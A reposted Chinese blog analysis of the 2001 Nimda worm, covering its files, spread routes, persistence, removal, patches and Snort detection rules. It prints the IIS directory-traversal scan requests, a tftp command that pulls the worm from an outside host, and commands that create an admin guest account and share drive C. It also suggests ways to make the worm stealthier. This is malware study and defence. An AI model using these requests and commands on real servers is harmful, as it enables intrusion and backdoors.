對尼姆達蠕蟲的詳細分析 (轉)

worldblog發表於2007-12-15
對尼姆達蠕蟲的詳細分析 (轉)[@more@]

作者:tombkeeper

2001.9.18晚,我習慣性的開啟了tcp/80,用這個簡單的批處理:
-------------cut here-----------
@echo off
:start
nc -vv -w 5 -l -p 80>>httpd.log
goto start
--------------------------------
通常我用它來監測CodeXXX之類的分佈,另外還指望運氣好能弄到個把變種。
雖然偶爾會收到幾個掃描的噪聲,但一般都是"rcvd 3818"。
忽然我發現從某個IP來了連續的幾個一百位元組左右的資料,開啟httpd.log
一看原來是是一個http掃描,目的是尋找unicode_hole和CodeRedII建立的
.exe。我沒理它,可是在不到5分鐘的時間裡我連續收到了幾個發自不
同IP的同種掃描,難道這就是CodeBlue?我開了一個真正的honeypot,不管
對方GET什麼都回應"200 OK",結果馬上就看到了實質性的東西:
"GET /scripts/root.exe?/c+t -i xxx.xxx.xxx.xxx GET Admin.dll HTTP/1.0"
好,滿足你的要求。執行"tftp -i xxx.xxx.xxx.xxx GET Admin.dll",結
果馬上就得到了好東西,趕緊反編譯一下看看,然後再……@#$……%^&……
總算弄清楚了個大概,先寫一個分析報告吧。

---------------------------------------------------------------

名稱:Worm.Concept.57344 (Nimda/尼姆達)
名稱:Nimda/尼姆達

一些反廠商的命名:
Worm.Concept.57344
W32/Nimda.A@mm
W32/Nimda@mm
I-Worm.Nimda
型別:/病毒
受影響的: 95, , , 4,
大小:57344位元組


蠕蟲:
[mmc.exe]
出現在windows資料夾,蠕蟲掃描和建立tftpd的程式就是它。注意windows系統資料夾裡也有
一個mmc.exe,那不是Nimda。

[riched20.dll]
riched20.dll除了出現在windows系統資料夾裡,還可能出現在任何有*.doc檔案的資料夾裡。
因為它是win.exe和wordpad.exe執行時都要的所以當開啟DOC檔案時就等於執行了Nimda。

[Admin.dll]
(Admin.dll除了在C:,D:,E:的根目錄外還可出現在下面的"TFTP*****"出現的地方)

[load.exe]
出現在windows系統資料夾

[%temp%readme*.exe]

[TFTP****]
形如TFTP3233。檔案位置取決於使用tftp的目錄。如果是
"GET /scripts/root.exe?/c+tftp -i [localIP] GET Admin.dll HTTP/1.0"
那麼位置就在"pubscripts"。如果是
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp -i [localIP] GET Admin.dll HTTP/1.0"
那麼位置就在"/scripts/..%c1%1c../"也就是根目錄。

/*以上都是蠕蟲檔案的可程式,它們之間的區別只有檔名不同*/

[readme.eml]
這個東西是值得一提的,他利用了(或者說OE5)的一個。我們知道html格式
的中圖片和多檔案都是自動開啟的,而可執行檔案不是。但如果把可執行檔案
指定為多媒體型別,也會自動開啟。下面是readme.eml的一段:
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Traner-Encoding: base64
Content-ID:
另外,如果資料夾是“按頁檢視”,那麼即使只是用滑鼠單擊選中readme.eml
也會導致蠕蟲的執行,如果把副檔名改為mht也是可以的,但改為htm就不行。

[readme.nws]
同readme.eml,只是出現的機率很小。

[*.exe]
可執行檔案被感染,所以可能是任何檔名。

傳播方式:

(一)透過e
在internet臨時資料夾中讀取所有"htm","html"檔案並從中提取地址,
從信箱讀取email並從中提取SMTP伺服器,然後傳送readme.eml。

(二)透過unicode_hole或CodeRedII建立的root.exe
unicode_hole我就不多說了,CodeRedII會在IIS的幾個可執行目錄下放置root.exe
也是盡人皆知,Nimda首先在udp/69上啟動一個tftp伺服器
然後會作以下掃描
GET /scripts/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0

一旦發現有弱點的系統就使用類似下面的命令
GET /scripts/root.exe?/c+tftp -i xxx.xxx.xxx.xxx GET Admin.dll HTTP/1.0
把檔案傳到主機上去,然後再
GET /scripts/Admin.dll HTTP/1.0

(三)透過WWW服務
在所有檔名中包含default/index/main/readme並且副檔名為htm/html/的檔案
所在目錄中建立readme.eml,並在檔案末加上下面這一行

也就是說如果一臺web伺服器被感染了,那麼大部分訪問過此伺服器的機器都會被感染。

(四)透過
Nimda會搜尋本地的共享目錄中包含doc檔案的目錄,一但找到,就會把自身複製到目錄中命名為riched20.dll(原理見前)

(五)以病毒的方式
搜尋[SOFTWAREWindowsCurrentVersionApp Paths]尋找在主機上的可執行檔案,
一旦找到,Nimda就會以病毒的方式感染檔案。有一點不同的是,它把原檔案作為資源在新檔案中,
執行新檔案時再當作可執行檔案來呼叫。奇怪的是Nimda過濾了32.exe,它不會感染winzip32.exe,
可能是作者發現winzip染毒後不能正常執行吧。


確保執行:

病毒採取以下措施確保自己處於活躍狀態
1)把自己複製到windows系統資料夾裡命名為riched20.dll(原理見前)
2)把自己複製到windows系統資料夾裡命名為load.exe,
修改system.ini把
=explorer.exe改為
shell=explorer.exe load.exe -dontrunold
使病毒在下次系統啟動時執行。

建立:
1)Nimda開啟的udp/69雖然目的並不是作後門,但的的確確是一個後門。
2)如果有足夠將呼叫"net.exe"執行以下系統命令:
net user guest /add
net user guest /active
net user guest ""
net localgroup Administrators guest
net localgroup Guests guest /add
結果是空密碼的guest加到了Administrators組中。
2)如果有足夠許可權將呼叫"net.exe"執行以下系統命令:
net share c$=c:
刪除[SYSTEMCurrentControlSetServiceslanmanserverSharesSecurity]的所有子鍵
結果是C:設為完全共享。


Nimda的一些不足之處:
無論如何Nimda是一個劃時代的東西,它顯示了作者高超的水平和豐富的知識,相形之下CodeBlue顯得黯淡了很多,
甚至CodeRedII也不能相比,但還是留下了一些遺憾。

1)Nimda用的"window.open"來開啟readme.eml,這並不可靠,稍具安全常識的人都會調整IE的指令碼支援
選項,有些人乾脆關掉java,但是用下面這個方法就沒問題了:


2)存在諸多"TFTP****"並不是Nimda的本意,恰恰是作者沒考慮周全。
Winnt的tftp在工作時會建立形如"TFTP3233"的臨時檔案,如果tftp異常終止,臨時檔案就不能被刪除。
unicode_hole本來就不是一個理想的執行程式的方式,再加上Nimda的tftpd部分的一點小缺陷就導致了
在一個目錄下出現大批的"TFTP****"。寫一個更可靠的tftpd模組或者在程式中加入刪除這些臨時檔案的
程式碼,會讓Nimda隱蔽性更強。

3)用GET而不是HEAD來掃描的確要好,但如果在編碼上參照Whisker的"Stealth Mode"改進一下就更完美了。


其它幾個常見問題:

1)Nimda什麼時候進入我國?
我手頭最早的一行日誌是:
2001-09-18 13:40:25 xxx.xxx.xxx.xxx - xxx.xxx.xxx.xxx 80 GET /scripts/root.exe /c+tftp%20-i%2061.133.3.126%20GET%20Admin.dll%20Admin.dll 502 -
也就是說肯定早於2001-09-18 13:40:25

2)Nimda的作者是誰?
程式的作者在程式中留下了以下標記:
fsdhqherwqi2001
Concept Virus(CV) V.5, Copyright(C)2001 R.P.China
可能對最終找出作者有幫助。

3)為什麼說Nimda是“概念”蠕蟲?
它可以透過至少五種方式傳播
它是一個帶exe副檔名的dll,可以做為可執行檔案執行,也可作為dll執行。
它有智慧:當它名為Admin.dll被執行時,它會把自己複製到windows資料夾命名為mmc.exe並帶上引數"-qusery9bnow"執行。
當它名為readme.exe被執行時,它會把自己複製到%temp%帶上引數"-dontrunold"執行.
它會把自己的屬性設為“系統”“隱藏”,再改寫登錄檔,使“系統”“隱藏”屬性的程式在中不可見。
它是一個主機掃描器,一個弱點掃描器,一個後門程式;帶有多個Exploit,掌握最新的安全資訊;它就是一個。

4)Nimda開啟的tftpd@udp/69可以用來傳送其他檔案嗎?
不行。Nimda實現的只是一個最基本的tftpd,不包含開啟檔案控制程式碼的程式碼,不存在工作目錄,僅可以傳送自身。
無論請求的是什麼檔名,實際得到的都是Nimda。但這個tftpd模組可能存在緩衝問題。

5)如何清除Nimda?
在資料夾選項裡設定“顯示所有檔案”

刪除mmc.exe/load.exe/riched20.dll/admin.dll/readme.eml/readme.exe等所有蠕蟲檔案。
檢查所有大小為57344或79225的檔案。
可以使用“查詢”工具,搜尋包含"fsdhqherwqi2001"的*.exe/*.dll和包含"Kz29vb29oWsrLPh4eisrPb09Pb2"的*.eml/*.nws。

檢查system.ini。

檢查所有檔名中包含default/index/main/readme並且副檔名為htm/html/asp的檔案。

刪除C:的共享

最好再檢查一下C:和D:有沒有explorer.exe,除非確信一定沒有感染CodeRedII。

重起系統

6)如何避免Nimda?
根本之道是打:
Unicode漏洞:http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
MIME漏洞:http://www.microsoft.com/technet/security/bulletin/ms01-020.asp
IE5.01 SP2:
IE5.5 SP2:

其他解決方案:
開啟IE的“工具--&gtinternet選項--&gt安全--&gt自定義級別--&gt檔案下載”選“禁用”。
刪除所有不需要的預設虛擬目錄,或者只給純指令碼執行權,最好不要把任何web目錄放在系統分割槽。
檢查共享設定,的機器不要開完全共享,可以開只讀共享,所有共享都要設定口令。

由於Nimda可以利用CodeRedII建立的後門,所以需打上idq_overflow的補丁,檢查C:和D:
有沒有explorer.exe,檢查web目錄中有沒有root.exe。具體見:


7)Nimda傳送的郵件有特徵嗎?
Nimda傳送的郵件主題是隨機的,但通常很奇怪,譬如下面這個:
Subject: 驛埳pic180pic159pic180pic178pic162pic182desktop
不要輕易以HTML方式開啟郵件。

8)Nimda可以被監測嗎?
當然可以。下面是我寫的一個用於snort的過濾規則:

#----------------------------------------------
# Worm.Nimda Ruleset
# Current Database Updated 09/20/2000
# Contact: tombkeeper - tombkeepr@126.com
#----------------------------------------------

preprocessor http_decode: 80 443 8080
preprocessor minfrag: 128
preprocessor portscan: 12.23.34.45/32 3 5 /var/log/snort_portscan.log
# ^^^^^^^^^^^ ^ ^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^
# | | | |
#Your address or Network here+ | | |
# | | |
#Ammount of ports being connected-----+ | |
# in this | |
#Interval (in seconds)------------------+ |
# |
#Log file (path/name)----------------------------------+

preprocessor portscan-ignorehosts:
# Hosts to ignore in portscan detection

#---------------------------------------------
# CHANGE THE NEXT LINE TO REFLECT YOUR NETWORK
# (Single system = your ip/32)
var HOME_NET yournet/subnet
#---------------------------------------------

alert tcp any any -> any 80 (msg:"W32/Nimda@mm WOSCAN!"; flags:PA; content:"/root.exe?/c+dir"; nocase;)
alert tcp any any -> any 80 (msg:"W32/Nimda@mm WORM SCAN!"; flags:PA; content:"/system32/cmd.exe?/c+dir"; nocase;)
alert tcp any any -> any 80 (msg:"W32/Nimda@mm WORM TRANSFER!!"; flags:PA; content:"/root.exe?/c+tftp%20-i"; nocase;)
alert tcp any any -> any 80 (msg:"W32/Nimda@mm WORM TRANSFER!!"; flags:PA; content:"/system32/cmd.exe?/c+tftp%20-i"; nocase;)
alert tcp any any -> any 80 (msg:"W32/Nimda@mm WORM RUN!!!"; flags:PA; content:"/scripts/Admin.dll"; nocase;)
alert tcp any any -> any 80 (msg:"W32/Nimda@mm WORM RUN!!!"; flags:PA; content:"/MSADC/Admin.dll"; nocase;)
alert tcp any any -> any 80 (msg:"W32/Nimda@mm WORM RUN!!!"; flags:PA; content:"/winnt/system32/Admin.dll"; nocase;)
alert udp any 69 -> any any (msg:"W32/Nimda@mm WORM TRANSFER!!"; flags:PA; content:"|15 90 AC 17 36 F7 D8 1B C0 5E 40 5B 5F C9 C2 04 00 55 8B EC 81 EC B0 00|";)
alert tcp any 80 -> any any (msg:"W32/Nimda@mm WORM IN WEB SERVER!!"; flags:PA; content:">window.open("readme.eml"";)
alert tcp any any -> any 25 (msg:"W32/Nimda@mm WORM MAILSEND!!"; flags:PA; content:"UgEAAI1F6Ild6FCNRfxQU2g/AA8AU1NT";)
alert tcp any 110 -> any any (msg:"W32/Nimda@mm WORM MAILRECV!!"; flags:PA; content:"UgEAAI1F6Ild6FCNRfxQU2g/AA8AU1NT";)


一點改進意見:
Nimda用JavaScript的"window.open"函式來開啟readme.eml,這並不可靠,稍具安全常識的人都會調整IE的指令碼支援
選項,有些人乾脆關掉java,但是用下面這個方法就沒問題了:


作者:tombkeeper@126.com


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-993860/,如需轉載,請註明出處,否則將追究法律責任。

相關文章